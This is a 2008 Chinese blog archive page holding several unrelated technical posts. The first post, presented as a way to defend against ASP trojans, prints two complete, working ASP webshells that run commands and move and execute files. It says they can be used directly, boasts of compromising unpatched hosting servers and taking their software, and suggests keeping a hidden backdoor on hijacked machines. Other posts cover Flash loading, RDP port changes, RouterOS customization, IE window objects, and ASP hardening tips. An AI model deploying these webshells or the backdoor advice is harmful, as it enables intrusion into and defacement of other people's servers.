月度归档:2008年07月

两种比较典型的ASP木马防范方法

随着ASP 技术的发展,网络上基于ASP技术开发的网站越来越多,对ASP技术的支持可以说已经是windows系统IIS服务器的一项基本功能。但是基于ASP技术的木马后门,也越来越多,而且功能也越来越强大。由于ASP它本身是服务器提供的一贡服务功能,所以这种ASP脚本的木马后门,不会被杀毒软件查杀。被黑客们称为“永远不会被查杀的后门”。由于其高度的隐蔽性和难查杀性,对网站的安全造成了严重的威胁。因此针对ASP木马的防范和清除,为我们的网管人员提出了更高的技术要求。下面我结合个人的经验,谈一下对两款比较典型的ASP 木马的防范方法,希望对大家能够有所帮助。

  以下是第一款木马的代码:

<title>ASP Shell</title>

<%@ Language=VBScript %>

<%

Dim oScript

Dim oScriptNet

Dim oFileSys, oFile

Dim szCMD, szTempFile

On Error Resume Next

– create the COM objects that we will be using —

Set oScript = Server.CreateObject(“WSCRIPT.SHELL”)

Set oScriptNet = Server.CreateObject(“WSCRIPT.NETWORK”)

Set oFileSys = Server.CreateObject(“Scripting.FileSystemObject”)

– check for a command that we have posted —

szCMD = Request.Form(“.CMD”)

If (szCMD <> “”) Then

– Use a poor mans pipe … a temp file —

szTempFile = “C:” & oFileSys.GetTempName( )

Call oScript.Run (“cmd.exe /c ” & szCMD & ” > ” & szTempFile, 0, True)

Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

End If

%>

<HTML>

<BODY>

<FORM action=”<%= Request.ServerVariables(“URL”) %>” method=”POST”>

<input type=text name=”.CMD” size=45 value=”<%= szCMD %>”>

<input type=submit value=”执行命令”>

</FORM>

<PRE><%

If (IsObject(oFile)) Then

– Read the output from our command and remove the temp file —

On Error Resume Next

Response.Write Server.HTMLEncode(oFile.ReadAll)

oFile.Close

Call oFileSys.DeleteFile(szTempFile, True)

End If

%>

</BODY>

</HTML>

  在命令行里输入DIR命令点执行就可以查看目录了!!它可以使用各种DOS命令,如:copy、net、netstat等。

  但是它的默认执行权限只有GUEST,也就是IUSR_COMPUTER用户的执行权限。当然如果你把IUSR_COMPUTER用户加入管理员组,那么你就有管理员权限了。这一款木马的特点是,使用很方便。几乎就想当于DOS命令行窗口xx作一样。但是如果服务器限制了FSO(无组件上传),那么它是没有办法使用了。还有就是在服务器以后增加的虚拟主机里也没有办法使用。只能在“默认 Web 站点”里使用,所以它相对的适用范围较窄。

  对于防范方法让我们看一下它的代码就知道了:

Set oScript = Server.CreateObject(“WSCRIPT.SHELL”) "建立了一个名为oScript的WSCRIPT.SHELL对象,用于命令的执行"

Set oScriptNet = Server.CreateObject(“WSCRIPT.NETWORK”)

Set oFileSys = Server.CreateObject(“Scripting.FileSystemObject”) 

  上面三行代码创建了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三个对象,我们只要在注册表中把控制WSCRIPT.SHELL对象的项改名或删除就可以了。如下图:值得注意的是:我们应该把“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”这两项都要改名或删除。因为如我们只修改“WSCRIPT.SHELL”项的话。那么黑客们只要把代码修改如下:Set oScript = Server.CreateObject(“WSCRIPT.SHELL.1″) 这个后门木马就又可以执行了。

 大家可能已经想到了,我们在对“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”改名时,一定要不容易被黑客们猜到,因为例如:你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。黑客们只要把代码相应的改成:Set oScript = Server.CreateObject(“WSCRIPT.SHELL888″),木马程序就又可以执行了。还有就修改了注册表以后要重起WEB服务,设置才会有效。

  接下来让我们再来看下一款ASP后门木马程序的代码:

<%response.write “<font size=6 color=red>一次只能执行一个xx作</font>” %>

<%response.write now()%><BR>程序所在的物理路径:

<%response.write request.servervariables(“APPL_PHYSICAL_PATH”)%>

<html>

<title>asps shell.application backdoor </title>

<body>

<form action=”<%= Request.ServerVariables(“URL”) %>” method=”POST”>

<input type=text name=text value=”<%=szCMD %>”> 输入要浏览的目录<br>

<input type=text name=text1 value=”<%=szCMD1 %>”>

copy

<input type=text name=text2 value=”<%=szCMD2 %>”><br>

<input type=text name=text3 value=”<%=szCMD3 %>”>

move

<input type=text name=text4 value=”<%=szCMD4 %>”><br>

路径:<input type=text name=text5 value=”<%=szCMD5 %>”>

程序:<input type=text name=text6 value=”<%=szCMD6 %>”><br>

<input type=submit name=sb value=发送命令>

</form>

</body>

</html>

<%

szCMD = Request.Form(“text”) 目录浏览

if (szCMD <> “”) then

set shell=server.createobject(“shell.application”) 建立shell对象

set fod1=shell.namespace(szcmd)

set foditems=fod1.items

for each co in foditems

response.write “<font color=red>” & co.path & “—–” & co.size & “</font><br>”

next

end if

%>

<%

szCMD1 = Request.Form(“text1″) 目录拷贝,不能进行文件拷贝

szCMD2 = Request.Form(“text2″)

if szcmd1<>”” and szcmd2<>”” then

set shell1=server.createobject(“shell.application”) 建立shell对象

set fod1=shell1.namespace(szcmd2)

for i=len(szcmd1) to 1 step -1

if mid(szcmd1,i,1)=”” then

path=left(szcmd1,i-1)

exit for

end if

next

if len(path)=2 then path=path & “”

path2=right(szcmd1,len(szcmd1)-i)

set fod2=shell1.namespace(path)

set foditem=fod2.parsename(path2)

fod1.copyhere foditem

response.write “command completed success!”

end if

%>

<%

szCMD3 = Request.Form(“text3″) 目录移动

szCMD4 = Request.Form(“text4″)

if szcmd3<>”” and szcmd4<>”” then

set shell2=server.createobject(“shell.application”) 建立shell对象

set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1

if mid(szcmd3,i,1)=”” then

path=left(szcmd3,i-1)

exit for

end if

next if len(path)=2 then path=path & “”

path2=right(szcmd3,len(szcmd3)-i)

set fod2=shell2.namespace(path)

set foditem=fod2.parsename(path2)

fod1.movehere foditem

response.write “command completed success!”

end if

%>

<%

szCMD5 = Request.Form(“text5″) 执行程序要指定路径

szCMD6 = Request.Form(“text6″)

if szcmd5<>”” and szcmd6<>”” then

set shell3=server.createobject(“shell.application”) 建立shell对象

shell3.namespace(szcmd5).items.item(szcmd6).invokeverb

response.write “command completed success!”

end if

%>

  要查看目录,只要输入相应的目录,点发送命令就可以了。这个木马程可以完成文件的COPY、MOVE,和执行程序。但很多命令都不能用,例如:del、net、netstat等。这个木马程的功能随然简单,但是用它来黑一个网站是足够了。比如,我们可以把网站的首页MOVE到其它地方,然后我们再COPY一个同名的黑客网页进去,就行了。

  最要命的是这个木马适用于任何虚拟主机之中,也就是说我只要是服务器中的一个虚拟空间的用户,我就可以传这个木马上去,并用它来修改其它任何用户的主页。所以如果哪些提供虚拟空间的服务商没有打补丁的话,那真是死定了。

  然而在我的实践中发现,中国很多的虚拟空间服务商,特别是一些小型的服务商都没有打补丁。我利用这一漏洞拿到了很多虚拟空间服务器的ADMIN,然后好心的帮他们补上漏洞。当然我也得到了我想得到的东西——很多好的软件和代码。我现在用着的很多ASP程序就是从他们那上面偷下来,太难听了,应该说DOWN下来的才对。

  言归正传,我们应该怎样来防范这个ASP后门木马程序呢?让我们看一下它其中的这一句代码:set shell=server.createobject(“shell.application”),跟刚才的方法一样,我们只要把”shell.application”项和”shell.application.1″项改名或删除就可以了。记住了,如果是改名,要改得复杂一点,不要让黑客们一下就猜到了。顺便说一句,如果是你给肉鸡打补丁最好是改名,并把名字记下来,这样也就成为自己一个隐密的后门了。最后对这两款ASP木马后门,以及如何防范ASP木马后门做一下总结:第一款木马功能上强大一些, 但适用范围窄,需要FSO支持也就是”Scripting.FileSystemObject”项的支持。第二款木马虽然功能上少一些,但它创建的是”shell.application”对象。在任何虚拟主机中都适用。(这一点危害确实太大了,提供支持ASP空间的管理员们,你们可得注意了!)

  其实跟据对上面两款ASP木马后门的防范,大家可能已经想到了,对于ASP后门木马的防范,我们只要在注册表中把”shell.application”、”WSCRIPT.SHELL”等危险的脚本对象(因为它们都是用于创建脚本命令通道的)进行改名或删除,也就是限制系统对“脚本SHELL”的创建,ASP木马也就成为无本之木、无米之炊,运行不起来了。

  注:以上代码复制保存为ASP文件就可以直接使用了。

loadMovie和loadMovieNum的定位(转)

一、loadMovie(“url”,target [, method])

描述:函数;在播放原始 SWF 文件的同时将 SWF 文件或 JPEG 文件加载到 Flash Player 中目标影片剪辑的路径。

首先我们可以看到该函数有3个参数:url、target、method。其中,最后一个参数“method”是一个可选参数。

1.参数url:要加载的 SWF 文件或 JPEG 文件的绝对或相对 URL(路径)。

这就是说这个url可以是本地的文件路径,也可以是Internet上的文件地址。但是,无论从何处加载,都只能是 SWF 或 JPEG 文件。并且,该参数是一个字符串,所以必须写在半角双引号中,如: loadMovie(“01.swf”, _root)

loadMovie(“01.jpg”, _root)

loadMovie(“http://www.abc.com/01.swf”, _root)

loadMovie(“http://www.abc.com/01.jpg”, _root)

2.参数target:指向目标影片剪辑的路径。目标影片剪辑将替换为加载的 SWF 文件或图像。

这个参数表示要影片将被加载到的路径,它指向目标影片剪辑的路径。加载后,目标影片剪辑将替换为加载的 SWF 文件或图像。如: loadMovie(“01.swf”, _root)

loadMovie(“01.swf”, _root.loading)

loadMovie(“01.swf”, _root.loading.01)

3.参数method:可选参数,指定用于发送变量的 HTTP 方法。该参数必须是字符串 GET 或 POST。如果没有要发送的变量,则省略此参数。GET 方法将变量追加到 URL 的末尾,它用于发送少量的变量。POST 方法在单独的 HTTP 标头中发送变量,它用于发送大量的变量。

二、loadMovieNum(“url”,level [, variables])

描述:函数;在播放原来加载的 SWF 文件的同时将 SWF 文件或 JPEG 文件加载到 Flash Player 中的某个级别。

首先我们可以看到该函数有3个参数:url、target、variables。其中,最后一个参数“variables”是一个可选参数。

1.参数url:要加载的 SWF 文件或 JPEG 文件的绝对或相对 URL(路径)。

该函数的此参数和上面loadMovie中的此参数用法完全一致,这里不再作解释。

2.参数level:一个整数,指定 SWF 文件将加载到 Flash Player 中的哪个级别。

加载的时候,可以这样来写: loadMovieNum(“01.swf”, 1);

loadMovieNum(“01.swf”, 2);

loadMovieNum(“01.swf”, 3);

控制的时候,可以这样使用: _level1._x=10 ;

_level2.aa._alpha=50 ;

_level3.aa.bb._width=110;

需要注意的的是,每一个级别只能同时存在一个 SWF 或 JPEG 文件。如果两个 SWF 或 JPEG 文件的级别相同,那么后者将替换掉前者。级别不同的_level,级别大的将覆盖掉级别小的,即:数字大的将处于数字小的之上。

3.参数variables:可选参数,指定发送变量所使用的 HTTP 方法。该参数必须是字符串 GET 或 POST。如果没有要发送的变量,则省略此参数。GET 方法将变量追加到 URL 的末尾,它用于发送少量的变量。POST 方法在单独的 HTTP 标头中发送变量,它用于发送大量的变量。

三、loadMovie/loadMovieNum 的定位

我想,也许这才是大家真正要找的东东:)

1.loadMovie的定位

由于用loadMovie加载进来的 SWF 或 JPEG 文件,最后是放置于目标影片剪辑里的,所以我们完全可以像控制MC的_x和_y,来控制加载到的目标影片剪辑。就好像我们在墙壁(_root)上挂上了一个相框(目标影片剪辑),然后又在相框里面放入(加载)了一张相片(SWF 或 JPEG 文件),那么当我们想挪动相片的位置的时候,只要移动相框的位置就可以了。

比如在主场景中有一个实例名为aa的MC(坐标为(20,30)),我们要在里面加载一个02.swf文件,并且要加载后这个放到相框(_root.aa)中的相片(02.swf)出现在主场景(_root)坐标系的(50,100)处。代码如下:

loadMovie ( “02.swf” , _root . aa );

_root . aa . _x = 50 ;

_root . aa . _y = 100 ;

在实际应用中,其实更加倾向于用AS创建一个空MC,然后在这个MC中加载外部 SWF 或 JPEG 文件。代码如下:

_root . createEmptyMovieClip ( “aa” , 1 );

with ( aa ) {

     _x = 50 ;

     _y = 100 ;

     loadMovie ( “02.swf” );

}

2.loadMovieNum的定位

从前面我们已经知道了,函数loadMovieNum是将 SWF 或 JPEG 文件加载到_level(级别)的。并且是用_level1._x、_level2._x、_level1.aa._x之类的来定位的。比如我们要将02.swf加载到主场景坐标系的(50,100)中,代码如下: loadMovieNum ( “02.swf” , 1 );

_level1 . _x = 50 ;

_level1 . _y = 100 ;

但是在测试的时候大家会发现加载进来的02.swf并没有如我们预期的那样出现在主场景坐标系的(50,100)位置,这是为什么呢?

原来,在没有使用loadMovieNum以前,所有的图形、MC等等都是处于_level0里的,我们通常使用的_root其实就是_level0。你可以作个测试:trace(_root==_level0),你会发现返回值是“true”。

那么,我们用loadMovieNum加载 SWF 或 JPEG 文件的时候,程序就要对你指定的_level进行创建,随后再紧接着载入 SWF 或 JPEG 文件。如果像刚才代码中写的那样,不判断_level是否存在而调用其属性,势必无功而反。

解决的方法也很简单,就是用一个循环来判断指定的_level是否存在。一旦_level产生,那么它的种种属性自然可以调用了。代码如下:

loadMovieNum ( “02.swf” , 1 );

onEnterFrame = function () {

    if ( _level1 ) {

      with ( _level1 ) {

          _x = 50 ;

          _y = 100 ;

      }

      delete onEnterFrame ;

    }

};

或者:

loadMovieNum ( “02.swf” , 1 );

function go () {

    if ( _level1 ) {

      with ( _level1 ) {

          _x = 50 ;

          _y = 100 ;

      }

      clearInterval ( fps );

    }

}

fps = setInterval ( go );

修改远程登录端口

第一你可以在'服务'里面将'远程登入'服务项'禁用'

第二你可以将它改成别的端口代替,这样可以避免远程攻击:

步骤:打开“开始→运行”,输入“regedit”,打开注册表,进入以下路径:[HKEY_LOCAL_MACHINE\SYSTEM\

CurrentControlSet\Control\Terminal Server\

Wds\rdpwd\Tds\tcp],看见PortNamber值了吗?其默认值是3389,修改成所希望的端口即可,例如6111。

再打开[HKEY_LOCAL_MACHINE\

SYSTEM\CurrentContro1Set\Control\Tenninal Server\WinStations\RDP\Tcp],将PortNumber的值(默认是3389)修改成端口6111。

修改完毕,重新启动电脑,以后远程登录的时候使用端口6111就可以了。

Flash CS3无法编译

昨天晚上用在flashcs3中发生了意见匪夷所思莫名其妙的事——按ctrl+enter测试影片时,先是显示”正在导出Flash影片”,几秒过去,导出影片窗口消失,再无下文了 ,没有任何提示、报错,就是不搭理我了。这种不寻常的状况发生,当时还以为是一天开机时间太长,先后使用的软件种类过多,导致内存冗余产生的冲突,以为重启后就OK。谁知道今天早晨开机后问题依旧存在 orz…

难道flash有问题?我建立一个新文件,按ctrl+enter后正常导出。这说明不是flash本身问题了。我就怀疑是我制作的文件里有问题,于是逐层删除并ctrl+enter,依然无影片导出。这时真是丈二和尚——摸不着头呢。于是开始怀疑某些元件。经过一个元件一个元件排除,最终将疑犯确定——一个相对较庞大的影片剪辑,整个登陆功能封装在里面的。这个影片剪辑从库里删除影片就可以正常发布……

经过最终测试,锁定凶犯:字体问题!原来在按钮上使用了静态文本(幼圆字体、加粗、可读性消除锯齿)……这个会导致flash发布影片无效。原来flashcs3中静态文本需要【使用设备字体】或者不设置【加粗】、【倾斜】属性才不会出问题,否则就会导出影片失败……不知道你遇到过这个情况没?^_^

有两种解决方案:1,使用“使用设备字体”,这要求你使用的字体不能太生僻,否则在别人的电脑上显示不正常,因为未安装你使用的字体;2,使用“可读性消除锯齿”而不同时应用“加粗”或“倾斜属性”(二者都不能使用)。当然如果你还可以先格式化文本,然后把文本分离成形状,这样既保留了格式又不用担心显示不正常。

打造个性化的ros

全面打造个性化的ros(其实那些商家的ros变种就这样做出来的)大家根贴(精)

1、首选是web(80)面页,ros本向并没集成php 之类的解析功能,只能用html静态页面,

不过,这样也好,不会占用太大资源。(可以手写,也可以用dreamware专业工具美化)

目录/home/web/下面的文件,自己看看吧。

2、把ros中的etc/下的ident文件动一下搞定(可以用记事本打开)

3、开机时进入ros时的logo大显功能,包括下面的文件说明和网站地址、还有就是linux主机名

MMM      MMM      KKK                  TTTTTTTTTTT      KKK

MMMM    MMMM      KKK                  TTTTTTTTTTT      KKK

MMM MMMM MMM III KKK KKK RRRRRR    OOOOOO      TTT    III KKK KKK

MMM MM MMM III KKKKK    RRR RRR OOO OOO    TTT    III KKKKK

MMM      MMM III KKK KKK    RRRRRR    OOO OOO    TTT    III KKK KKK

MMM      MMM III KKK KKK RRR RRR    OOO[color=blue]OOO      TTT    III KKK KKK

MikroTik RouterOS 2.8.28 (c) 1999-2005     http://www.mikrotik.com/

比如:    mikrotik 2.8.28

       mikrotik login:

对就是这部分了

这部份文件其实在ros中的文件目录中是可以修改的

/nova/lib/console/logo.txt

/nova/lib/console/logo.txt.org

/nova/etc/logo

/nova/etc/logo.org

/nova/etc/url

/nova/etc/url.org

/etc/issue (MikroTik RouterOS 2.8.28 (c) 1999-2005 )部分可以打开

/etc/issue.net

4、其实ros也是一个强大的高效的数据存储器,nat首先要先维护自已的一张路由器表的,

当然要有数据库来保存了。ros的主目录就在/nova/下面用来和winbox端协作之用的。

5、不过你可以把每次按”?”这个帮助时出现一个你的广吿哟

/nova/lib/console/下的帮助文件*.hlp的

也可在每次按“TAB”帮助时也出现你的广吿。

6、关于汉化ros 的目录大家可以自己看看其实在

/home/web/winbox/下的文件主要是*.dll *.info大家学学汉化方法就是了。为大家揭开

汉化的神秘面纱!!!

==============================================================

全面打造个性化的ros(其实那些商家的ros变种就这样做出来的)大家根贴(精)

以前写过的,大家自己找找。

难点主要是发生在回放数据的方法上,下面详细说明一下:

——————————————————————————————————————-

主要是如何实现数据 回放到ros中。其实有多种方法,

A、一种是在安装是就固化好。封装到npk包中,主要是system-2.9.27.npk这个包。就可以了。

B、第二种是使用dos下的方法如:wirte 和ldir相关指令读写linux的ext2 ext3分区,实现数据回放。

C、第三种是使用ghost把数据全盘打成gho包后在提取相关文件,修改好后在回放到gho包,相信这工具大家都会。(2.9.x的一样可以保证引导成功的,只是加了ghost的相关参数)

D、第四种是使用linux系统来挂安装好ros的硬件或是分区。挂上分区后使用linux的相关指令或是相关的sftp类的工具,在win环境设计好后回放到linux分区(ros所在的新挂接上的分区)就可以了。

  秋风落叶扫提示:以上工作可以在虚拟机中实验。其实主要是在dos下去读写ntfs  fat32 fat 大家比较了解,可对于linux环境的,在dos下要用一些第三方指令。或是用过linux操作系统会知道使用linux分区挂linux分区的方法实现。挂上用samba或是相对的sftp的功能的工具读写数据。

window对象

window对象

  属性:

  dialogWidth             设置或获取模式对话框的宽度。

  frameElement            获取在父文档中生成 window 的 frame 或 iframe 对象。

  length                  设置或获取集合中对象的数目。

  name                    设置或获取表明窗口名称的值。

  offscreenBuffering      设置或获取对象在对用户可见之前是否要先在屏幕外绘制。

  opener                  设置或获取创建当前窗口的窗口的引用。

  parent                  获取对象层次中的父窗口。

  returnValue             设置或获取从模式对话框返回的值。

  screenLeft              获取浏览器客户区左上角相对于屏幕左上角的 x 坐标。

  screenTop               获取浏览器客户区左上角相对于屏幕左上角的 y 坐标。

  self                    获取对当前窗口或框架的引用。

  status                  设置或获取位于窗口底部状态栏的信息。

  top                     获取最顶层的祖先窗口。

  closed                  获取引用窗口是否已关闭。

  defaultStatus           设置或获取要在窗口底部的状态栏上显示的缺省信息。

  dialogArguments         设置或获取传递给模式对话框窗口的变量或变量数组。

  dialogHeight            设置或获取模式对话框的高度。

  dialogLeft              设置或获取模式对话框的左坐标。

  dialogTop               设置或获取模式对话框的顶坐标。

  事件:

  ondeactivate            当 activeElement 从当前对象变为父文档其它对象时触发。

  onerror                 当对象装载过程中发生错误时触发。

  onfocus                 当对象获得焦点时触发。

  onhelp                  当用户在浏览器为当前窗口时按 F1 键时触发。

  onload                  在浏览器完成对象的装载后立即触发。

  onmove                  当对象移动时触发。

  onmoveend               当对象停止移动时触发。

  onmovestart             当对象开始移动时触发。

  onresize                当对象的大小将要改变时触发。

  onresizeend             当用户更改完控件选中区中对象的尺寸时触发。

  onresizestart           当用户开始更改控件选中区中对象的尺寸时触发。

  onscroll                当用户滚动对象的滚动条时触发。

  onunload                在对象卸载前立即触发。

  onactivate              当对象设置为活动元素时触发。

  onafterprint            对象所关联的文档打印或打印预览后立即在对象上触发。

  onbeforedeactivate      在 activeElement 从当前对象变为父文档其它对象之前立即触发。

  onbeforeprint           对象的关联文档打印或打印预览前在对象上触发。

  onbeforeunload          在页面将要被卸载前触发。

  onblur                  在对象失去输入焦点时触发。

  oncontrolselect         当用户将要对该对象制作一个控件选中区时触发。

  方法:

  print                   打印与窗口关联的文档。

  prompt                  显示一个提示对话框,其中带有一条消息和一个输入框。

  resizeBy                更改窗口的当前位置缩放指定的 x 和 y 偏移量。

  resizeTo                将窗口的大小更改为指定的宽度和高度值。

  scroll                  将窗口滚动到自左上角起指定的 x 和 y 偏移量。

  scrollBy                将窗口滚动 x 和 y 偏移量。

  scrollTo                将窗口滚动到指定的 x 和 y 偏移量。

  setActive               设置对象为当前对象而不将对象置为焦点。

  setInterval             每经过指定毫秒值后计算一个表达式。

  setTimeout              经过指定毫秒值后计算一个表达式。

  showHelp                显示帮助文件。此方法可用于 Microsoft HTML 帮助。

  showModalDialog         创建一个显示指定 HTML 文档的模式对话框。

  showModelessDialog      创建一个显示指定 HTML 文档的非模式对话框。

  blur                    使元素失去焦点并触发 onblur 事件。

  clearInterval           使用 setInterval 方法取消先前开始的间隔事件。

  clearTimeout            取消先前用 setTimeout 方法设置的超时事件。

  close                   关闭当前浏览器窗口或 HTML 应用程序(HTA)。

  confirm                 显示一个确认对话框,其中包含一个可选的消息和确定取消按钮。

  createPopup             创建弹出窗口。

  detachEvent             从事件中取消指定函数的绑定,这样当事件触发时函数就不会收到通知了。

  execScript              以给定语言执行指定的脚本。

  focus                   使得元素得到焦点并执行由 onfocus 事件指定的代码。

  moveBy                  将窗口的位置移动指定 x 和 y 偏移值。

  moveTo                  将窗口左上角的屏幕位置移动到指定的 x 和 y 位置。

  navigate                在当前窗口中装入指定 URL。

  open                    打开新窗口并装入给定 URL 的文档。

  alert                   显示包含由应用程序自定义消息的对话框。

  attachEvent             将指定函数绑定到事件,以便每当该事件在对象上触发时都调用该函数。

  对象:

  clientInformation       包含关于 Web 浏览器的信息。

  clipboardData           提供了对于预定义的剪贴板格式的访问,以便在编辑操作中使用。

  document                代表给定浏览器窗口中的 HTML 文档。

  event                   代表事件状态,如事件发生的元素,键盘状态,鼠标位置和鼠标按钮状态。

  external                允许访问由 Microsoft? Internet Explorer 浏览器组件宿主应用程序提供的附加对象模型。

  history                 包含了用户已浏览的 URL 的信息。

  location                包含关于当前 URL 的信息。

  navigator               包含关于 Web 浏览器的信息。

  screen                  包含关于客户屏幕和渲染能力的信息。

ASP网站漏洞解析及黑客入侵防范方法

ASP网站漏洞解析及黑客入侵防范方法

  如何更好的达到防范黑客攻击,本人提一下个人意见!第一,免费程序不要真的就免费用,既然你可以共享原码,那么攻击者一样可以分析代码。如果在细节上注意防范,那样你站点的安全性就大大的提高了。即使出现了SQL Injection这样的漏洞,攻击者也不可能马上拿下你的站点。

  由于ASP的方便易用,越来越多的网站后台程序都使用ASP脚本语言。但是, 由于ASP本身存在一些安全漏洞,稍不小心就会给黑客提供可乘之机。事实上,安全不仅是网管的事,编程人员也必须在某些安全细节上注意,养成良好的安全习惯,否则会给自己的网站带来巨大的安全隐患。目前,大多数网站上的ASP程序有这样那样的安全漏洞,但如果编写程序的时候注意一点的话,还是可以避免的。

  1、用户名与口令被破解

  攻击原理:用户名与口令,往往是黑客们最感兴趣的东西,如果被通过某种方式看到源代码,后果是严重的。

  防范技巧:涉及用户名与口令的程序最好封装在服务器端,尽量少在ASP文件里出现,涉及与数据库连接的用户名与口令应给予最小的权限。出现次数多的用户名与口令可以写在一个位置比较隐蔽的包含文件中。如果涉及与数据库连接,在理想状态下只给它以执行存储过程的权限,千万不要直接给予该用户修改、插入、删除记录的权限。

  2、验证被绕过

  攻击原理:现在需要经过验证的ASP程序大多是在页面头部加一个判断语句,但这还不够,有可能被黑客绕过验证直接进入。

  防范技巧:需要经过验证的ASP页面,可跟踪上一个页面的文件名,只有从上一页面转进来的会话才能读取这个页面。

  3、inc文件泄露问题

  攻击原理:当存在ASP的主页正在制作且没有进行最后调试完成以前,可以被某些搜索引擎机动追加为搜索对象。如果这时候有人利用搜索引擎对这些网页进行查找,会得到有关文件的定位,并能在浏览器中查看到数据库地点和结构的细节,并以此揭示完整的源代码。

  防范技巧:程序员应该在网页发布前对它进行彻底的调试;安全专家则需要加固ASP文件以便外部的用户不能看到它们。首先对.inc文件内容进行加密,其次也可以使用.asp文件代替.inc文件使用户无法从浏览器直接观看文件的源代码。inc文件的文件名不要使用系统默认的或者有特殊含义容易被用户猜测到的名称,尽量使用无规则的英文字母。

  4、自动备份被下载

  攻击原理:在有些编辑ASP程序的工具中,当创建或者修改一个ASP文件时,编辑器自动创建一个备份文件,比如:UltraEdit就会备份一个.bak文件,如你创建或者修改了some.asp,编辑器会自动生成一个叫some.asp.bak文件,如果你没有删除这个bak文件,攻击者可以直接下载some.asp.bak文件,这样some.asp的源程序就会被下载。

  防范技巧:上传程序之前要仔细检查,删除不必要的文档。对以BAK为后缀的文件要特别小心。

  5、特殊字符

  攻击原理:输入框是黑客利用的一个目标,他们可以通过输入脚本语言等对用户客户端造成损坏;如果该输入框涉及数据查询,他们会利用特殊查询语句,得到更多的数据库数据,甚至表的全部。因此必须对输入框进行过滤。但如果为了提高效率仅在客户端进行输入合法性检查,仍有可能被绕过。

  防范技巧:在处理类似留言板、BBS等输入框的ASP程序中,最好屏蔽掉HTML、JavaScript、VBScript语句,如无特殊要求,可以限定只允许输入字母与数字,屏蔽掉特殊字符。同时对输入字符的长度进行限制。而且不但要在客户端进行输入合法性检查,同时要在服务器端程序中进行类似检查。

  6、数据库下载漏洞

  攻击原理:在用Access做后台数据库时,如果有人通过各种方法知道或者猜到了服务器的Access数据库的路径和数据库名称,那么他也能够下载这个Access数据库文件,这是非常危险的。

防范技巧:

  (1)为你的数据库文件名称起个复杂的非常规的名字,并把它放在几层目录下。所谓 “非常规”, 打个比方说,比如有个数据库要保存的是有关书籍的信息, 可不要给它起个“book.mdb”的名字,而要起个怪怪的名称,比如d34ksfslf.mdb, 并把它放在如./kdslf/i44/studi/的几层目录下,这样黑客要想通过猜的方式得到你的Access数据库文件就难上加难了。

  (2)不要把数据库名写在程序中。有些人喜欢把DSN写在程序中,比如:

  DBPath = Server.MapPath(“cmddb.mdb”)

  conn.Open “driver={Microsoft Access Driver (*.mdb)};dbq=” & DBPath  

  假如万一给人拿到了源程序,你的Access数据库的名字就一览无余了。因此建议你在ODBC里设置数据源,再在程序中这样写:

  conn.open“shujiyuan”

  (3)使用Access来为数据库文件编码及加密。首先在“工具→安全→加密/解密数据库”中选取数据库(如:employer.mdb),然后按确定,接着会出现“数据库加密后另存为”的窗口,可存为:“employer1.mdb”。

  要注意的是,以上的动作并不是对数据库设置密码,而只是对数据库文件加以编码,目的是为了防止他人使用别的工具来查看数据库文件的内容。

  接下来我们为数据库加密,首先打开经过编码了的 employer1.mdb,在打开时,选择“独占”方式。然后选取功能表的“工具→安全→设置数据库密码”,接着输入密码即可。这样即使他人得到了employer1.mdb文件,没有密码他也是无法看到 employer1.mdb中的内容。

  7、防范远程注入攻击

  这类攻击在以前应该是比较常见的攻击方式,比如POST攻击,攻击者可以随便的改变要提交的数据值已达到攻击目的.又如:COOKIES 的伪造,这一点更值得引起程序编写者或站长的注意,不要使用COOKIES来做为用户验证的方式,否则你和把钥匙留给贼是同一个道理.

  比如:

  If trim(Request. cookies (“uname”))=”fqy” and Request.cookies(“upwd”) =”fqy#e3i5.com” then

  ……..more………

  End if  

  我想各位站长或者是喜好写程序的朋友千万别出这类错误,真的是不可饶恕.伪造COOKIES 都多少年了,你还用这样的就不能怪别人跑你的密码.涉及到用户密码或者是用户登陆时,你最好使用session 它才是最安全的.如果要使用COOKIES就在你的COOKIES上多加一个信息,SessionID,它的随机值是64位的,要猜解它,不可能.例:

  if not (rs.BOF or rs.eof) then

  login=”true”

  Session(“username”&sessionID) = Username

  Session(“password”& sessionID) = Password

  ‘Response.cookies(“username”)= Username

  ‘Response.cookies(“Password”)= Password  

  下面我们来谈谈如何防范远程注入攻击,一般的攻击都是将单表提交文件拖到本地,将Form ACTION=”chk.asp” 指向你服务器中处理数据的文件即可.如果你全部的数据过滤都在单表页上,那么恭喜你,你将已经被脚本攻击了.

  怎么才能制止这样的远程攻击?好办,请看代码如下: 程序体(9)

  <%

  server_v1=Cstr(Request.ServerVariables(“HTTP_REFERER”))

  server_v2=Cstr(Request.ServerVariables(“SERVER_NAME”))

  if mid(server_v1,8,len(server_v2))<>server_v2 then

  response.write “<br><br><center>”

  response.write ” ”

  response.write “你提交的路径有误,禁止从站点外部提交数据请不要乱改参数!”

  response.write ”



  response.end

  end if

  %>

‘个人感觉上面的代码过滤不是很好,有一些外部提交竟然还能堂堂正正的进来,于是再写一个.

  ‘这个是过滤效果很好,建议使用.  

if instr(request.servervariables(“http_referer”),”http://”&request.servervariables(“host”) )<1 then response.write "处理 URL 时服务器上出错。
  如果您是在用任何手段攻击服务器,那你应该庆幸,你的所有操作已经被服务器记录,我们会第一时间通知公安局与国家安全部门来调查你的IP. ”

  response.end

  end if  

  程序体(9)

  本以为这样就万事大吉了,在表格页上加一些限制,比如maxlength啦,等等..但天公就是那么不作美,你越怕什么他越来什么.你别忘了,攻击者可以突破sql注入攻击时输入框长度的限制.写一个SOCKET程序改变HTTP_REFERER?我不会。网上发表了这样一篇文章:

  ————len.reg—————–

  Windows Registry Editor Version 5.00

  [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\扩展(&E)]

  @=”C:\Documents and Settings\Administrator\桌面\len.htm”

  ”contexts”=dword:00000004

  ———–end———————-

  ———–len.htm——————

  

  ———-end———————–  

  用法:先把len.reg导入注册表(注意文件路径)

  然后把len.htm拷到注册表中指定的地方.

  打开网页,光标放在要改变长度的输入框上点右键,看多了一个叫扩展的选项了吧

  单击搞定! 后记:同样的也就可以对付那些限制输入内容的脚本了.

